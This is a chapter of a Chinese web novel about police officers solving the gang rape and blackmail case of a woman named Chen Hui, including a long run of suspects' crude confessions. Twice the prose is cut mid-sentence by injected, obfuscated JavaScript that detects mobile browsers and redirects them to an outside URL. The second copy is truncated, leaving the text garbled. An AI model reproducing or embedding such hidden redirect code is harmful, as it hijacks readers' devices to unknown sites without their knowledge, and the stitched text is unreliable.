池千雪下意识嘟了嘟嘴抗议,她才没想过连累队员呢,突然想到自己如今不同前世,不能再做这么幼稚的反应,立刻收敛立正:“……沈局,沈师兄,你也很犀利啊!” 说完,她转身就走,鞋跟哒哒哒打在地上,她今天穿了条一字领的修身及膝黑色连衣裙,一双极好走路的粗跟皮鞋,棕色长卷发梳成一个低丸子,除了手腕上一块表,通体没有其它装饰,看起来简约清雅御姐范十足,不过内心成熟度就还待匹配了。 池千雪下楼经过二队办公室时,里面已经空无一人了,她肯妥协,也是因为沈确有一点没说错,为了西门案,分局自己都缺人缺到要找外援,又哪里能分出人手给她呢。 所幸她本来也做好了没人的准备,只是该申请的就要申请,职场贴士之一:不要让人以为你的工作很容易甚至根本没有在做事! 嗯,她上网搜的,并且延续上一世的习惯,都记在带锁的小本本上了! 回到办公室,池千雪将自己埋进一堆文件资料中,她得尽快完成她分内的工作。 第一件,她得写报告,因为过去的经历,她很容易将一件事写水了,水到最后重点都没了,所以怎么写呢? 她今天一大早就到警局门卫那请教王大爷了,因为他是大家公认的笔杆子,可谓文武双全又热心授学,时间事件分析总结在他笔下,那是有条有理手拿把掐。 池千雪记住要点,好吧——主要是按照范文,吭哧吭哧敲电脑完成后,又将原主提出来的所有案件资料过了一遍,在西门案之前,二队手上没有案子,没搞错,没有案子! 所以这些档案资料里全是旧案悬案,原主有心选一个,好组织二队开始查案,甚至其实已经在心里选好了,是个曾经闹得挺大的女演员失踪案,可还没定下,事情就发展到了如今这样。 ”哎。”池千雪过了一遍后,只能先将它们送回档案室,中间签了几个字,回了几封邮件,忙碌一通后,她拿着单薄的一张立案材料——上书陈惠个人信息,接群众举报的案情内容等,找沈确去了。 沈确捏着这薄薄一张纸,问她:“怎么还有早年间老家的一笔?” “父母对成年的孩子包办婚姻尚且违法,何况当初她还没满18岁,不能因为时间和受害人的消亡,因为加害人是其至亲同乡,就算了吧?我会发函请当地单位严办此案,案情简单,想来不会太为难他们的。” 沈确听得点点头,甚至赞了她一句:“做的不错。”但是……“小地方人际关系复杂,这样,我来联系他们上级单位领导,请他们负责督办监察此案,再建议他们就此案做个大排查,这种情况极可能不是个案。” 哇,池千雪举起双手,给沈确竖起两道大拇指:“沈局威武!” 沈局被她突然的举动逗笑:“别给我戴高帽哈,那里也没个同学熟人,我还得好声好气求请对方,我敢威武,人家就敢阳奉阴违,行了行了,说下一个。” 他看着上面的说明,嗯了一声正色道: “我知道,不让你并案这件事,我未必正确,我也不再是纯粹的一线战士,但请你理解,在这风口浪尖上,我必须把控稳住事态的发展,不能让舆论将公信力冲倒,公信力一旦倒塌,云都将会立刻马上增加无数起犯罪,和更多更多受害者,我必须做出取舍。” 所以他主张避过风口浪尖,要求池千雪低调慢办,但他心里其实挺闷的,只是他不能表露,更不能左右摇摆事事求全最后事事不成。 他起身看着池千雪认真道:“但有案必查,命案必破的信条同样坚不可摧,所以池处,加油吧!” 池千雪拿回那张材料,明明轻飘飘的,却记着一个人沉重的苦难生平,她心中道:“我必将全力以赴!” . 上午十一点十分,池千雪走出警局大楼。 手头上的事情,不是做好了就是交出去了,今天接下来的时间,她要专心查办陈惠案。 首先,她要去酒吧街调监控。 调到7月那天的监控后,锁定出可疑对象,接着就请局里文员帮忙调出个人信息,她再跑外勤,一个一个请来警局,中间还不能断,不能让人有相互联系销毁罪证甚至跑掉的机会,必须找到一个立刻带回去一个,之后一对一隔离问话相互印证,争取用书上教的讯问技巧让人认罪,争取不放过一个罪犯。 哎,所以说她需要人手啊!而且这还是监控存在的前提下,是最好最好的情况了,如果没有监控或者损坏无法修复什么的…… 真是这样的话,就要从翻一座山变成翻十座山了!池千雪摇摇脑袋,不会不会的,哪里会那么凑巧!千万不要啊! 池千雪到了停车场,鼓足勇气钻进火炉般的车内启动空调,通风好一会后坐进去,敞着车门,她掏出手机给工作群里发消息:“我现在去调监控,你们就按昨晚说好的,正常工作,忙完就下班呀,都加油吧!” 又补充一句:“祝我成功!一定要成功!” 锁定手机放到一旁,关上车门系上安全带,正要出发,副驾那边的门突然被人打开,姜不招钻了进来,关上车门系上安全带,一整个行云流水。 池千雪:“???” “我和你一起去。” 池千雪立刻皱起眉头:“你应该领头办西门的案子。” 姜不招转头看她:“西门的案子有很多人在办了,我暂时有几个小时空档,我和你一起去,沈局也同意了。” 他补充解释:“我不是为了你耽误工作,我只是恰好和你有同样的想法,陈惠的案子,知道了就得办,不能拖,她的信息被扒出来,难说那晚有没有人偷拍后,因为这事给删掉,这件案子,其实更紧急!” 池千雪眼睛发亮,她拍拍方向盘,为这知己一般的默契而兴奋激动:“就是嘛,就是说啊!我就是这个意思!” 哎呀,她也不知道怎么说,只好眼睛亮晶晶的,抬手拍了拍姜不招的肩,企图将人规划为兄弟战友好拍档那一挂,反被姜不招摸了摸脑袋:“好兄弟,出发吧。” 好兄弟三个字被他咬在唇间绕在齿上,意味不明。 是啊,那晚也是从好兄弟开始的……池千雪雪白的脸轰地一下发烫变红:“你你你,算了,出发吧!” 路上,至少十分钟的沉默后,竟然还是江望打破的沉默! 他的语音从手机里外放出来:“长官,你是我的神!我才知道这两天的饭菜是你让小代订的啦!” 那头外卖估计刚到就碰上他们有空档,语音背景中,全是拆包装的声音,下一条很快来了,一阵…咀嚼声后,江望嗷嗷叫: “今天这家烧味更好吃!还得是老字号!姜队要不要给你留啊?你走的也太突然了!丢下饭可怎么办好呢?我帮你吃掉吧,不用谢吼,不浪费是我最大的美德内!嗯,曹叔你又拍我——” 语音戛然而止,短暂的沉默后,红灯前,停下来的池千雪耸动着肩膀再也憋不住笑:“哈,哈哈,哈哈哈哈,你走的也太突然了!!!丢下饭…丢下饭!哈哈,江望你是个天才!” 姜不招本来不想笑,但是笑会传染啊,爬到他嘴角眼睛,他看着池千雪,也笑得露出牙齿,不过他坚持没有笑出声。 好在池千雪还知道开车安全守则,绿灯一亮她立刻收住,可是越想越好笑怎么办,她甚至已经不是为了那句话而想笑了! “姜队,快快,拜托说点什么转移我注意力!” 姜队,姜队只好说点扫兴的:“万一监控出了问题怎么办?” 好嘛,瞬间冷静。 几分钟后,两人到了酒吧街,池千雪在路旁停好车,两人目标明确地走向挨着酒吧街的一个小路口,第一间门面就是管理办公室了,说起来也是个公家单位,属工商部门管理的,两人抱着希望进去拿出证件,说了要求。 办公室里只有一个年轻的值班人员,面对警察上门问话有着正常的慌乱和拘谨,但很快调整过来,他毕竟没有犯罪,大致回答了一下他的工作内容后,就去找监控了,两人当即跟上。 这里真正的工作时间是跟着娱乐场所走的,晚饭点开始直到天亮才是他们忙的时候,无数电脑摆在办公室隔出来的墙后,这里不光管理纸面上的工作,更重要是把控娱乐场所的正规和安全。 不过即便如此,每年的扫黄扫毒还是会扫出问题,管理员可以说换了一茬又一茬,依旧防不胜防,有些东西真的不好说。 年轻人自称姓李,小李翻出7月监控,却发现哪天的都有,偏偏就是没有警官指定的那个日期的监控视频! 冷汗瞬间爬上脑门,再冷的空调也不能阻挡,他还有什么不明白的,那天绝对有猫腻啊!可他妈的他就是个外包人员,真·外包人员,刚来没多久,真的不知道发生过什么啊! 越紧张声音越大,他一通解释不知道为什么没有后,马上主动说:“我联系我们主管来!”他才不当影视剧里,那种莫名其妙上蹿下跳站队反派的狗腿子大傻逼,当然是要当个好市民,配合人民警察啦! 打完电话,小李又道:“我再看看,到底是什么问题,有没有办法修复哈!” 池千雪眼睛一亮:“你是黑客吗?不不,我问的不对,你是计算机高手吧?如果能找出来,警局给你发证书啊!真的!” 小李挠头:“啊,那倒不是,我,我就是想努力努力,不过被多次覆盖过的内容基本不可能恢复了……” 主要是主管没那么快到,干站着他尴尬啊!再说他要是个高手,还当什么外包人员啊,整天给主管呼来喝去的,虽然主管技术更差,但人家别的本领高啊…… 对面两人瞬间懂他未尽之意:“好吧,你去吧。” 池千雪头疼,还是遇到最糟的情况了,两人无奈对视,一时没有说话。 却没想到,主管来得非常快,只几分钟后,一个相貌平平身材平平的中年男人笑着过来,脚还没跨进门,双手已经提前抬了起来,快走几步握住了姜不招道:”抱歉抱歉,让两位警官久等了,不知道有什么可以配合啊?我们绝无二话!” 话说的很漂亮,社会人一个,姜不招可不当真,平铺直叙了要求,也不说已经知道没有监控了,小李本来也没在电话里详说。 7月21日一说出口,就见男人眉尾处轻微跳动几下,显然是触动到了他某条神经,即便他很快调整面部表情,还是被两人发现。 他说:“真是不巧,那天的监控坏了,我第二天立马找人修了,可前一晚的就没办法了,警官,什么事啊?” 姜不招冷冷看他,似笑非笑:“真巧啊。” “更巧的是,挺久之前的事了,怎么我一说日期,你立刻就能回答,没有丝毫犹豫呢?而且我说要调哪块位置的监控了吗?你自动就对号入座了?可别说因为就那天就那个地方坏了才印象深啊,坏了就坏了,只要没坏事,又修好了,谁又会特别放在心上呢?” 姜不招说到最后,已经有些咄咄逼人了,加上他太高,对方太矮,山一样压过去显得格外强势。 男人就摆出老实人受委屈的可怜相:“哎,哎,那我确实是因为这个原因啊,警官你这,哎,哎!” 姜不招冷哼一声:“行!”他盯着男人,实则是对里面的小李喊:“既然监控没了,那我们也只好走了,多谢配合!” 这是提醒小李别搞了,别搞不出东西来还要吃瓜落儿。 两人已心知肚明这主管有鬼,小李都说了关键词“覆盖”,本不存在的东西又哪来的“覆盖”一说呢? 等出了门,又走出一段路,池千雪在心里盘算着接下来的计划,就听边上姜不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738991|157447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招开口道:“监控应该被人为删掉了,但是,他肯定留了个备份。” 留备份的目的何在且先不分析,他紧接着说:“现在他极可能会因为警察的出现,销毁备份,而普通人,其实并不懂得如何真正销毁一份证据。” 池千雪:“所以?” 姜不招:“所以千雪,我们换辆低调点的车,跟踪他。” 池千雪鼓着脸:“怎么能叫千雪?不叫池处长官什么的,至少也要叫个池队吧!” 姜不招不接招:“走啦千雪,我们租个车。” 池千雪茫然四顾,没看到像是能租车的地方,倒是正好看见迎面来了个有些面熟的人。 “你好呀,你是那个服务生!嗯,曾伟!对不对?” 陈惠案目击者、打扫她呕吐物的那个服务生,此时正耷拉着脑袋,跟在一个满脸憔悴面无表情的妇女身侧,两人都穿得沉闷,听见池千雪打招呼的声音,下意识抬头后皆是吓了一跳的样子。 池千雪不好意思开口道:“这是你妈妈?阿姨好,你们是不是遇到什么困难了?”要不怎么魂不守舍满怀心事的样子。 “对了自我介绍一下,我姓池,池千雪,他是我们警队的姜队长,你们如果有困难只管说,也许我们能帮上忙呢。” 话音一落,这阿姨就直愣愣地看过来,眼泪啪一下就出来,曾伟赶紧拽住她衣摆:“警官我们没事我们没事,只是一点工作上的困难,能解决能解决!就不打扰二位警官了,谢谢啊谢谢!” 语无伦次连拉带拽,母子俩落荒而逃似的,池千雪感觉莫名其妙,冲着比她还懵的姜不招摊手:“哎,可能真的是我们太冒昧了。” 警察在日常生活中,其实,好像并不受人欢迎呢,更别提倾吐心事了…… “走吧。” 其实也没走出多远,姜不招停下来,二人所在位置的斜对面,正是一间租车行,里面有个穿背心踩拖鞋玩手机的老叔刚好一抬头,也是吓了一跳,不过不是惊吓,而是惊喜:“小姜,是小姜!哎呀呀哎呀呀,你小子,多少年没见啦!” 姜不招打完招呼后抽空对池千雪解释:“我读书时在这片兼职过。” 他说的是这片,而不是指向某家店,所以他大概率兼职过很多店,甚至同时做几份工,还是在上高中甚至初中的年纪。 池千雪忍不住地想象起少年那些风里来雨里去的画面,哪怕她对劳累本身无法感同身受,却还是小小地揪了一下心,孤儿在穷困的生活中奋力挣扎,多—— “我那套公寓就是靠兼职拿下来的。” “……”这可是云都闹市区的高档公寓!确定不是兼得刑法上的职吗? “那时候地下拳击还不算违法。” 池千雪的心又重新揪起来。 “攒到第一桶金后,我拿100元买了彩票,中了1000万。” 像好友或像恋人间,理所当然地倾吐过去诉说现状,姜不招贴着池千雪低声讲完,弄得人上上下下后跑去选车了,池千雪被阿叔拉住,热情地招呼她来坐来喝茶。 他还伸长脖子朝姜不招喊:“这是你老婆吧?哎呀呀好靓啊!” 池千雪脸上笑嘻嘻,心里,心里划过一圈过山车,她在上头被尴尬地飞出去了。 赶时间,两人无暇解释,或者说一个不想解释,一个只想找点事忙。 钱到位,又是熟人,证件在身上,所以租车手续办得飞快。 黑色国产电车停在几百米外,姜不招当了司机,两人坐定没多久,就见视线尽头那间办公室里,主管脚步匆匆,手上也匆匆打了个电话,就上了路旁一辆白车,二人当即跟上,尽量保持着和对方相隔一到两辆车的距离,总之宁丢勿醒。 车内很安静,池千雪第一次出这样的任务,不,现在的每一天于她来说都是新鲜刺激的,她本全神贯注,怎奈肚子不给力,突然咕咕叫起来,在安静的空间内尤为明显,她第一反应低头捂住肚子!好像这样就能掩盖声音……她瞄了眼姜不招。 “对了,这个给你,先垫垫肚子。” 姜不招仍旧目视前方,变魔法一样,单手从他带的包里掏出了一袋菠萝包和一瓶酸奶。 池千雪相当惊讶:“你什么时候买的呀?” “你抢着一定要付押金还有填资料的时候。”姜不招笑,“慢点吃。” “那你呢?” “我买的时候三口一个,已经解决了。” “……吃这么快对胃不好啦。”还叫自己慢点呢,完全没有说服力! 池千雪插上吸管开喝,听到身侧姜不招说“都习惯了,不过会记得改”的时候,抿着一口冰冰甜甜的酸奶笑了。 姜不招又问:“监控没了,你本来计划怎么办?考虑到万一他真的能将备份完全损坏,那我们还得找别的路子——” 他的嘴被一只手给堵上了,嘴唇抵在对方掌心,贴得很紧很紧,她的手心有些冰凉,是空调打太低了吧?姜不招乖乖不动了。 池千雪很快收回手:“哎呀,好的灵,不好的不灵!不灵不灵!”她着急是鉴于上一次对方这样担忧的时候,担忧成真了,做事情,要讲个吉利的嘛! 姜不招点头赞同,同时调高了车内温度:“嗯,千雪说的对。”一本正经的模样。 池千雪这才略带难为情地回答: “其实我那个都是很笨的计划啦,就,公厕外公共区域的监控没了,但整条街几个进出口的监控还在啊,你这计划之前,我是想着等主管走了,就去找小李把其它的视频拷过来,再将当晚去了酒吧街,并且深夜才走的所有人,请技术科通过影像分辨找出来,汇总后一个一个查!” “那不是要查至少成千上百的人?依照目前的情况,很难查得过来,人手就是个问题。” 到那一步,他们唯一的希望,就是能有某一部手机偷录了当晚的情形,或者是罪犯自己拍摄下来了照片视频,再以此向外挖掘相关之人,所以时间很要紧! 不过说是这样说,姜不招也明白,到最后没办法了,这还真就是个办法,大不了就是一起通宵熬夜一段时间,不信拿不下来。 姜不招这样想,也这样说了,池千雪狠狠点头赞同!她嘴巴鼓鼓的,菠萝包已经吃了大半,人不饿了战斗力也强了,她虎视眈眈(也就瞪个眼睛吧)盯着前方那辆白车,目前最好的结果,当然就是拿下备份啦! 没盯多久,池千雪忍不住还是打脸自己问出来了:“我知道我们现在是去捡漏的,但是,如果是个小东西,一般不是会在厕所冲掉么?” 换成她,她就这么干,影视剧里也这么干。 姜不招没有立刻回答,好像是想了想,才组织出语言回答她: “普通人一般不会这么做,因为受限于早年间的下水管道建设,厕所一直容易堵塞,所以,大多数人都养成了不丢异物进去的习惯,现在很多新楼房已经改良了这一点,但习惯就没那么容易改变了。” 这又是池千雪的知识盲区了,她只在家接受过基础教育,也只在网络上,通过他人的生活或影视剧来窥探世界,这让她充满求知欲的同时,也暴露着她的无知,所以这两天一涉及到专业知识,她会尽量只听少说,慢慢吸收消化。 但关于下水道这一点,她确定原主也不知道,普通人生活中时常有的烦恼,放到宏观上看,是那样微不足道不值一提,没有人会特地学习,但她今天知道了,就会记住的! 姜不招一直没听到回应,扭头看了看,就见池千雪两颊鼓鼓的,小松鼠一样小口小口将面包啃到嘴里先放着,乌黑的眼睛盯着虚空明显正在走神,不知道想起了什么,看着呆呆的,可爱死了。 池千雪思绪已经飘到了别处,所谓举一反三,她就想啊,不能再把电视里演的拿来当真了! 影视剧里,一个计算机高手能顶一支队伍,给她一台电脑,所有人的一切都无处可藏,分分钟找出可疑人员的这种设定,完全是为了观众看得爽,要是把翻看公共监控的无数个枯燥的日夜拍出来,观众能把电视砸了,记录片都没这么催眠。 池千雪也是这两天融了融记忆,也翻了几本原主的书,才明白现实中案件的进展乃至破获,真的就是人力物力和时间生生堆砌出来的,一切科学手段都是辅助。 就算她靠金手指可以结果反推过程,但无法被别人复制使用的话,对刑侦系统的意义就不大,何况有些案子,她根本用不了金手指。 路还是要一步一步走,饭还是要一口一口吃! 她咽下最后一口菠萝包和酸奶,擦擦嘴,装好垃圾,那主管也到了自家小区楼下了。 这是个至少三五十岁的老小区,位于东城和西城区交界的位置,小区地面上占道停车的情况非常严重,实在很考验大车或新手,姜不招缓缓跟着,确定对方进了哪栋楼后就将车开远,绕来绕去终于找到个能看见又能隐蔽的位置,开始静静等待。 所幸没有让他们失望,十来分钟后,这主管就提着袋垃圾下楼了! 楼外不远正好就是个小型垃圾站,摆着红的蓝的共四个大号垃圾桶,说是分类,其实大家都是乱丢,就算好好丢了等进去垃圾车也是混作一堆,此时这人也是随手往没堆满的那个里面一丢,看了垃圾桶几秒后拍了拍手,直接转身上车离开了! 太好了! 两人火速下车奔赴垃圾桶,戴上手套捏着鼻子提出了主管丢的那一袋,下一秒—— “呕——呕——” 两人开始干呕,那是满当当的一袋:厕、所、垃、圾! 路过的阿妈牵着孙孙,本来正在唠叨孩子不肯午睡实在不乖的,这会惊恐地看着这一幕,拽着孩子贴着边小跑开去,而后才敢摇着头嫌弃道: “啧——世风日下世风日下,好好的靓仔靓女痴线佐啦!” 8. 她有秘密 池千雪和姜不招有了新的秘密。 二队办公室内。 面对二队成员正常的疑惑:“这物证哪来的?” 两人异口同声:“他丢在路边草丛,我们捡回来的!” 众人点头:“哦……”但是也不用这么齐声,而且信誓旦旦气势汹汹的,吧? 代福音扶了扶黑框眼镜,看了看面色发白的两个人,又看了看透明物证袋封着的破碎物体,问: “那接下来就是要复原这个u盘里面的内容?交给我试试吧!” 众人转头:“咦?” 代福音:“拜托!我主修专业就是网络安全与执法啦!” 这么一说,大家就想起来了:“是哦,那为什么你会分到二队实习来着?” 代福音鼻孔喷气难以置信,告诉自己冷静冷静冷静吼,然后她笑:“当然是因为二队实在太!缺!人!了!啦!”而且没什么二代跟她竞争——不然她一个小镇做题家根本没机会分到云都,越想越心酸是怎么回事! “好了啦好了啦,我们的错,那就拜托我们小代出手啦!” 众人于是又用谴责的目光看向江望,为什么总能把话说得那么贱贱的呢? 代福音拿起东西蹬蹬蹬走了,离开前,她憋足了劲做出很随意的样子撞开了江望——的胳膊,同时撅嘴捏鼻嫌弃:“烟味也太重了吧!” 江望赶紧闻闻自己,想要辩解这主要是前面会议室里大家的功劳,腌成这样他也并不喜欢的好吗? 可是忙里抽空团聚的二队成员们已经四散,继续忙西门案去了。 直至当晚七点。 开会开会开会,然后在办公室的书海里游泳游到头昏脑胀的池千雪,收到了一条信息: “长官,饭到啦!搞定了!!有意外发现!!!” 吃饭摆在第一是不是有点不对劲? 池千雪拔腿就跑,冲进隔壁办公室时,代福音的电脑前已经围了一圈人,全员都在,每人捧着盒饭边看边快速扒拉,没办法,时间紧任务多。 池千雪挤进去,代福音一看,立刻将出发了有一会的进度条拉回去,重头来过。 监控有录音功能!虽然背景实在嘈杂,但只要有,就可以通过分析音频得到人声! 池千雪从聚精会神地看,到脊背发寒头皮发麻不忍再看,也不过就是短短十五分钟。 十五分钟里,陈惠出现在公厕外——洗手池——男厕间——有人探头探脑地出来,到这里,用时十五分钟。 监控显示时间为零点五十四分。 办公室里,盒饭已经被放下。 电脑里,更深更重更可怖的噩梦开始了。 据科学统计,男性的平均射/精时间为7分钟,正常区间为3到10分钟之间。 监控视频内,男人们显然更赶时间一点,之后一个小时的时间内,至少有20人实施了犯罪,10多人在外排队,直至保洁员出现,人群轰散,接着又聚集起更多人。 监控照出了每一张脸,除了一二中年人,几乎都是年轻面庞,甚至有人是结伴进去说笑着出来,还有边走边系裤腰带的——哪怕隔着屏幕也能看清那股嚣张!当然也有人沉着脸不语,犯罪了却还要端着相出来。 不论哪种,都令人胆战心惊。 听到和看到是两回事情。 姜不招闭上了眼睛胸膛剧烈起伏。 江望踢翻了手边椅子骂了声卧槽后突然收声,第一次反应过来这个词很恶心,哪怕以后他不长记性还是会脱口而出,但此刻他明白,他不该说。 曹空城不停绕他腕上佛珠手串,步青云抱胸凝眉肌肉紧绷,池千雪声音发哑:“还有什么发现?” 代福音吸了吸鼻子,退出视频后点开一个文件夹:“里面有一份名单,后面标记了不同的金额,金额后面全都打了勾,只有一个名字后面没有。” 众人瞬间恍然大悟:“这老鬼通过监控,敲诈了犯罪的每一个人!” 姜不招:“没打勾的名字是?” 江望:“是不是代表这人无辜,是他搞错?” 曹空城:“是这样的话,名单就不一定完整了。” 代福音推推滑落的眼镜:“没打勾的叫曾伟,金额显示为20万。” 池千雪惊讶,起身凑近确认:“曾伟?曾伟!” 她转头看身后,说不出的感觉让她下意识去找姜不招:“是我们……今天见到过的那个曾伟!” 姜不招恍然:“不是曾伟无辜,而是连宏没来得及拿到,或者说就快拿到了。” 今天池千雪和姜不招去酒吧街管理办,不上班的连宏几分钟就赶到了,他来找谁?做什么呢? 他们当时都以为对方只是恰好在附近吃饭,后来出门没多远碰见了曾伟母子,二人本就魂不守舍的样子,知道他们是警察后更是言行怪异,他们又以为是个人私事不想说很正常,接着连宏接了个电话上车回家销毁证据,而后又驾车离去。 是不要最后这笔20万吗?不,恐怕就是去见曾伟,而去查监控的他们,就是推动迟迟不拿或根本拿不出钱的曾伟母子,同意拿钱的关键一步。 . “警官,我是无辜的,我只是上了个厕所,那么久?我上大号啊!” “我不知道啊,我什么都不知道啊,手机里的视频?别人发我的,谁?不记得,哪个微讯群吧。” “别当我不懂法律啊,你只拍到我进出厕所了,凭什么就说我一起搞鸡了,行,人人人,你有什么证据证明我搞她了?你拍到了还是有什么DNA测出来啊?警!官!” “啊啊啊啊啊,是不是姓连的高发我?妈的钱都给他了,我留学的几十万全部给他了,我都还不知道怎么和爸妈交代,他妈的他拿钱还搞我?!啊啊啊啊啊——” “你们这样冲进我公司把我带走,是对我极大的不尊重和伤害,我要告你们,严重侵害损坏了我的个人名誉和经济收入!什么轮/奸?我不认,没有的事,多的是女人爬我的床啊警官!我去搞那么脏的?” “我,我,别跟我妈说,行不行啊警察叔叔?呜呜呜……我知道错了,我根本不想的,不想的!我正常上厕所,朋友说我不像个男人,因为他想做,就一定要逼我一起,我,我他妈根本就不喜欢女的,我是gay啊!我是靠看他才……别说出去求你们了呜呜呜……” “我朋友交代了?你们炸我的吧!他……他他妈的交代个jb,娘们兮兮的果然不是好东西,他乱咬人啊警官,不能信啊!他一定要展现下自己能行,我还劝他不要那样啦!” “我没什么好交代的,我是无辜的。” “你们不能关着我啊!我明天结婚啊!问的什么东西,我都不知道啊!我喝那么醉,我能干什么啊?我对别的女人根本硬不起来!别走啊,放我出去放我出去!” “嗬,嗬,哈哈哈,搞就搞了,老子都没成年,你能拿老子怎么样?连宏都不能拿我怎样,也就是家里死老太婆太好骗,背着我给的钱,嘻嘻,就算关起来,老子很快就出来咯,老子继续搞,下次就搞初中生,你们能拿老子怎么样!” “完了,我完了,我已经没钱了,老婆因为我欠网贷要跟我离婚,小孩子都打掉了,你们又抓我,完了,我完了,都是报应……” “我就是气不过,我认识这女的,以前约她出来玩,就跟我谈钱,钱钱钱!睡一觉他妈的要3000块起步,跟我经理出台好多次了,我叫她她就不理,看不起我,就知道钱钱钱!我弄了,我不光弄了,我还给她弄破了,她叫了!根本没醉知道吧?她自愿的!她就是骚就是浪就是贱!” “我其实就是进去了一下,我就出来了,有人没带套,而且还流血了,我搞不下去啊,这顶多算未遂吧?对不起对不起,我知错了嘛,我认罚,我赔钱!” “Ihavenothingtosaybeforemylawyerarrives。” “我认罪,我早就后悔了。” “为什么会给连宏钱?因为他真的会发网上去,我经不起扒,也不想社会性死亡,当时?当时喝了酒上头了,那么多人都干了,就以为没事啊。” “……” “当时她喝那瓶XO的时候,我就很担心了,看她还能走出去,我跟的台又有单子,我才没有管了,后来去厕所……” “我没想到里面是她,我想过拉她出来,Lucy,Lucy是个好人,她还借了我八千块,从来不催我还,我们是朋友啊……我为什么会那样呢?我不知道,就跟见了鬼一样,我以为她不会再出现了,我也换到对面工作了,我以为这事过去了……” “是,她的包是我拿走的,我缺钱,我妈卖鱼挣不了几个钱,我想买房娶阿珍,我女朋友家就想我有个房,好不容易攒了二三十万,却连首付都付不起,你说,云都的房子为什么就那么贵?可当初我妈给我爸打的,带着我好不容易逃出来了,最近的票就是来这里,不能回去,这么多年也回不去了!” “我妈还想让我自首,我这样还不是她害的!我都快死给她看了才答应帮我!就差半天,哈!就差半天,钱都已经给出去了,你们查出来了!我妈也走了,收拾了行李说要出家,不管我了,为什么啊?为什么就走到了这一步,Lucy都已经死了!你们为什么还要查!我亲眼看着她死掉的!死都已经死了!” “她明明知道我也一起了,她明明知道,为什么看到我,不提不恨也不怨啊?所以我能救她的,但我不救!” 曾伟情绪愈发激动,戴着手铐的双手握拳不停击打桌面,似乎当真有无数的不解无尽的怨愤,其实他就是后悔了,后悔于自己真的将要付出代价。 曾伟被控制着起身,下一步是关押到看守所,后续会移交检察院等待审判,他仍在自言自语,本是个秀气的普通男生,如今面如死灰蒙着一层阴郁,看起来有点神经质了。 这是最后一人了,一共23人,不论如何狡辩挣扎,即便定罪难度极高,池千雪和姜不招为主力,带着忙完一头又加班帮忙这头的二队成员,熬了三个大夜,通过监控视频、口供、手机聊天记录、拍摄的现场视频、嫌疑人间的相互考证、连宏对他们的勒索全过程,以及因为陈惠在西门案中的曝光,而有旁观者心生愧疚,伪装后将当时偷录下来的视频送到警局门卫处…… 等等等等,足够送这23人加上连宏上法庭判刑了,其中连宏是认罪最快的,他敲诈来的款项全部汇向了美国,给了他在外留学的儿子和陪读的老婆,能否被全额追回还是未知。 期间也有罪犯家属来警局大闹,二队忙得昏天黑地,都是沈确出面直接或间接处理的,只为不给二队增加工作量…… 二队所有人齐心协力,从立案到结案,一共用了五个日夜,陈惠案不仅办成了,也做到了沈确希望的低调。 与此同时,西门案也终于过了最复杂忙碌的阶段,网络上的视线已被新的大瓜转移,有个影帝的恋爱史被人扒出,如今半遮半露的很令粉丝疯狂路人好奇…… 说回来,曾缺兵少将胡混日子的二队,和他们不争气的空降菜鸟池长官,这一次终于扬眉吐气,真正让分局上下刮目相看,名声甚至传到了总局! 当然大多人主要还是说,姜不招这个队长找得好,只有自己人知道,两个案子里,池千雪到底担任了怎样重要的角色。 此时是8月23日晚十点。 完成所有书面工作,开完了队内总结小会,关掉电脑收拾好物品,二队六人走出警局大楼,站在一楼阶梯上,大家默契地停了脚步。 楼门口的灯不够亮,所以有些话好像更容易说出口些。 曹空城笑呵呵的:“长官,姜队,都好好休息,明天下班要是有空,来我家吃饭吧!就这么定了啊?我得赶早买菜的,云都菜就要吃原味吃鲜味啦,大家一起都来啊。” 江望打哈欠伸懒腰到一半紧急停下:“好啊好啊,可算让我借到光啦,一直听说曹姨手艺好,曹叔就知道馋我们,却从没松口让我们尝过!嘿嘿,明天吃完一顿,后头代福音那还有一顿耶!” 身形壮硕相对少言些的步青云挤进来,像堵墙一样挡住了曹叔望仔,他伸出手:“很高兴能和池处你共事。”像重新认识一般,两人很有些正式地握了握手,步青云又和姜不招击了个兄弟拳,一切尽在不言中的样子。 代福音黏上来抱了一下池千雪,嘻嘻笑,她的实习转正今天正式走流程啦!她以后就是二队正式的一员了!她喊:“那我就后天请客!吃什么你们说了算!” 门口高低笑声一片, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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也许明天,也许后天,陈惠就要被移交出去,火化后呆在某间殡仪馆角落,和各有故事的许多灵魂作伴。 “哎。”池千雪叹一声,“其实我想去见见她,案子结了,却不会有人专门祭拜她告慰她,这也是一种遗憾啊。” 姜不招沉默一会:“那我们等下回去看看她。” “嗯。” 车子绕行在小径上,石子路有些许陡峭,池千雪抓得更紧了一些,姜不招突然说:“其实,今天还是农历的中元节,鬼节。” 难怪公园一个人没有了,池千雪懵了一下,那不是成了双重buff?陈惠一定会来的!不光陈惠,还有别的吧?! 树影憧憧,有鸟被惊飞,又有一丝诡异的风刮过——大热天的风竟然有丝凉意,这还不诡异吗! 池千雪一下抱紧了姜不招的腰,脑袋埋进他腰背,闷声责怪:“那你不让我赶紧回家,反而要拉出来转一转是怎么个意思呢我请问姜队长?” 姜不招绷紧了腰,体内有股火在窜动,烧得心也火热,笑从心里跑到脸上,露出一种达成目的后美滋滋的傻气模样:“为了锻炼身心。” 皮了一下后,又低沉了声音说:“更为了和你多待一会。”他讲情话的时候,语气总是很认真的。 池千雪抬头,可她看不到姜不招的脸,只能看见他宽阔的肩背,感受到对方那紧绷着的又硬又硌的腹肌,嘟囔:“什么嘛,坏死了。” 这话也不是没人尤其女人对姜不招说过,以往只觉得对方莫名其妙,怎么有事说事的途中会突然扭扭捏捏起来,有话不知道好好说。 但是老天爷,听到池千雪这样说,他只觉得心都要化掉,想抱着她亲她亲她亲她,那种心灵和生理上极度渴望靠近黏住对方的感受,令他挖掘用尽了自身所有克制力,才没有不管不顾。 